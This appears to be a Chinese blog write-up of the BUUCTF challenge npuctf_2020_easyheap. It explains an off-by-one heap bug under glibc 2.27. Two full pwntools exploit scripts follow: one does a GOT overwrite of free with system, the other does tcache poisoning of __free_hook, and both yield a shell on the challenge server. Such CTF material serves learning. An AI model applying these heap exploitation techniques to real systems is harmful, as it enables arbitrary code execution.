news 2026/6/10 13:51:01

buuctf--npuctf_2020_easyheap

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
buuctf--npuctf_2020_easyheap

这道题可以说是第一道glibc 2.27的堆题,与2.23不同,因为glibc2.27引入了tcache,当我们释放一个chunk他会进入tcache里面,分配和释放的方式都不一样,接着来看一下这个题

首先查看一下文件相关保护

这里发现之开启了canary和NX,没用开RELRO,所以这里got表是可写的,接着将这个文件丢到ida64里面进行查看

很经典的一个菜单题,接着从create入手来分析这个结构

首先第10行一个遍历查看当前哪一个位置是空的,从而当作一个可以被申请的位置,14行进行申请0x10的chunk,这里这个chunk的地址就是写入在这个(heaparray+i)的位置,然后26行表示这里0x10的这个chunk的后8字节用来存储我们申请chunk的地址,前面8字节用来存储对应chunk的大小。然后34行就是对我们申请的chunk进行写数据。这个函数就是申请两个chunk,一个0x10,一个我们自己输入的并且只能是0x18和0x38.然后这个0x10这个chunk就是用来描述我们申请的chunk的。接着看到edit函数

这里edit函数存在一个off by one的漏洞,我们可以通过多写入一个字节从而修改与这个chunk相邻的下一个chunk的size字段,从而释放进入我们想要的tcache bin里面。

这里show函数18行是根据这个0x10的chunk的第二个8字节来输出内容,这里可以将这个改为got函数地址,从而泄露libc的基址

free函数就是将我们申请的下标置0,然后释放0x10的chunk,释放我们申请的chunk,但是这里是我们申请的chunk先释放,然后后释放0x10这个chunk。但是这里将0x10这个chunk置0了,所以不存在uaf漏洞。

这里的攻击思路就是先申请,然后利用off by one漏洞来修改下一个chunk的大小,然后释放下一个chunk再申请,接着写入got函数地址。

首先先来为每一个功能写一个辅助函数,如下:

def menu(choice): r.recvuntil(b'Your choice :') r.sendline(str(choice).encode()) def add(size,content): menu(1) r.recvuntil(b'Size of Heap(0x10 or 0x20 only) : ') r.sendline(str(size).encode()) r.recvuntil(b'Content:') r.send(content) def edit(index, content): menu(2) r.recvuntil(b'Index :') r.sendline(str(index).encode()) # r.recvuntil(b'text length: ') # r.sendline(str(size).encode()) r.recvuntil(b'Content: ') r.send(content) def show(index): #输出堆块大小和数据 menu(3) r.recvuntil(b'Index :') r.sendline(str(index).encode()) # r.recvuntil(b'Content: \n') def free(index): #先释放我们申请的,后释放0x10,并且我们申请的不会置为0 menu(4) r.recvuntil(b'Index :') r.sendline(str(index).encode())

写好了之后应该就可以写出下面这样的代码:

add(0x18,b'gaoshou') #下标为0 add(0x18,b'gaoshou') #下标为1 payload=b'a'*0x18+b'\x41' #通过off by one漏洞将下一个特征chunk的大小改为0x21,从0x21变成0x41 edit(0,payload) free(1) #释放是先释放我们申请的,然后释放那个特征chunk,这里释放之后tcache里面是一个0x20有一个,0x40有一个,0x20是我们申请的那个chunk,0x40是create函数帮我们申请的0x10对应的chunk add(0x38,b'gaoshou') #这里先申请0x10,然后申请0x38,这样0x38这个chunk的后面0x20就刚好覆盖了这个0x10这个chunk,从而可以将got函数写入我们的特征chunk payload1=b'a'*0x18+p64(0x21)+p64(0x40)+p64(elf.got['free']) edit(1,payload1) show(1) #这里show就会将free函数的got地址里面的值输出,从而可以利用这个泄露libc的基址

这里泄露出libc基址之后,将free函数改为system函数,接着free("/bin/sh")触发getshell,这里就是因为RELRO保护没有开,所以就可以通过复写函数,从而getshell,最后得到poc:

r = remote("node5.buuoj.cn", 29075) libc=ELF(r"C:\Users\lezho\Desktop\My_CTF\PWN!!!\libc库\buuctf-amd64\libc-2.27.so") elf=ELF(r"C:\Users\lezho\Desktop\misc\npuctf_2020_easyheap") add(0x18,b'gaoshou') add(0x18,b'gaoshou') add(0x18,b'/bin/sh\x00') payload=b'a'*0x18+b'\x41' edit(0,payload) free(1) add(0x38,b'gaoshou') #下标为1,申请的0x38完全覆盖下面的0x21chunk,头节点在下 payload1=b'a'*0x18+p64(0x21)+p64(0x40)+p64(elf.got['free']) edit(1,payload1) show(1) r.recvuntil(b'\nContent : ') leak=u64(r.recv(6).ljust(8,b'\x00')) print(hex(leak)) libc.address=leak-libc.symbols['free'] print(hex(libc.address)) edit(1,p64(libc.symbols['system'])) #将free函数改为system函数 free(2) r.interactive()

这里攻击可以实现就是因为RELRO保护没有开,这里如果开了这个保护,就不能这么干了,那么这里就可以换一种攻击,也就是glibc2.27最经典的tcache dup。通过将一个tcache里面bin的fd改为free_hook,然后将system这个函数地址写入free_hook,最后system(/bin/sh) get shell

r = remote("node5.buuoj.cn", 29075) libc=ELF(r"C:\Users\lezho\Desktop\My_CTF\PWN!!!\libc库\buuctf-amd64\libc-2.27.so") elf=ELF(r"C:\Users\lezho\Desktop\misc\npuctf_2020_easyheap") add(0x18,b'gaoshou') add(0x18,b'gaoshou') add(0x18,b'/bin/sh\x00') payload=b'a'*0x18+b'\x41' edit(0,payload) free(1) add(0x38,b'gaoshou') #下标为1,申请的0x38完全覆盖下面的0x21chunk,头节点在下 payload1=b'a'*0x18+p64(0x21)+p64(0x40)+p64(elf.got['free'])+p64(0)+b'\x41' edit(1,payload1) show(1) r.recvuntil(b'\nContent : ') leak=u64(r.recv(6).ljust(8,b'\x00')) print(hex(leak)) libc.address=leak-libc.symbols['free'] print(hex(libc.address)) free_hook=libc.symbols['__free_hook'] system_addr=libc.symbols['system'] free(2) #将2进行释放 释放之后bin里面有一个0x41的chunk和一个0x21的chunk free(0) #将0释放,bin里面会多2个0x20的chunk add(0x38,b'gaoshou') #下标为0 add(0x38,b'/bin/sh\x00') #申请之后bin里面只有一个0x21的chunk,刚好是上面的0x41chunk的下半截 payload2=b'a'*0x18+p64(0x21)+p64(free_hook) edit(0,payload2) add(0x18,p64(system_addr)) #在free_hook里面写下system函数 free(2) #free触发攻击 r.interactive()

这个攻击就是先泄露libc的基址,然后再次利用off by one的漏洞,实现空间重叠,然后payload2修改释放进入tcache里面的chunk的fd,然后两次申请,最后将system_addr写入free_hook。最后触发

这个后面这个poc应该是通用的,可以绕过RELRO这个保护

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/6/10 15:02:56

Python函数参数与作用域生存指南

好的!这是一份关于 Python 函数参数与作用域的初级指南,旨在帮助你穿越这些概念构成的“沙漠”与“丛林”。 生存技巧一:认识绿洲——函数定义与调用 函数就像沙漠中的绿洲,它封装了可重复使用的代码块。定义函数使用 def 关键字…

作者头像 李华
网站建设 2026/6/1 5:26:58

UniApp 路由导航守

UniApp 路由导航守 大家平时做 Vue 项目,路由守卫基本都是标配:beforeEach 一写,白名单、token 校验、跳转拦截一气呵成。 但换到 UniApp 就会发现一个问题:没有 Vue-Router,也没有 beforeEach。 很多人刚上手都会懵…

作者头像 李华
网站建设 2026/5/23 10:02:00

批归一化:从理论到实现的关键陷阱与优化

好的,遵照您的要求,这是一篇关于批归一化(Batch Normalization)实现细节的深度技术文章,基于您提供的随机种子,文章将包含可复现的代码示例和深入的实现剖析。 批归一化:从理论到实现的关键陷阱…

作者头像 李华
网站建设 2026/6/9 9:02:16

聊一下电磁仿真和常用的电磁仿真软件

当我们开始接触电磁波和微波工程的时候,第一件事就是仿真。电磁仿真可以说是一个射频工程师/微波工程师必备的技能之一。这个在射频求职的时候体现的很明白,基本上所有的射频工程师职位的要求都是要求掌握一到两种仿真软件的应用,HFSS和CST等…

作者头像 李华
网站建设 2026/6/9 20:51:40

用ETL为大数据赋能:打造高效数据体系

用ETL为大数据赋能:打造高效数据体系 1. 引入与连接:数据的"灰姑娘故事" 想象一下,你是一家电商企业的数据主管。每天,你的系统会收集来自网站、APP、社交媒体、线下门店的数百万条数据:用户点击、购买记录…

作者头像 李华
网站建设 2026/6/10 14:17:43

大数据存算分离架构的跨区域数据同步

大数据存算分离架构下跨区域数据同步的深度剖析 关键词:大数据、存算分离架构、跨区域数据同步、数据一致性、分布式系统、数据传输协议、同步策略 摘要:本文深入探讨大数据存算分离架构中的跨区域数据同步问题。首先阐述大数据存算分离架构的背景与发…

作者头像 李华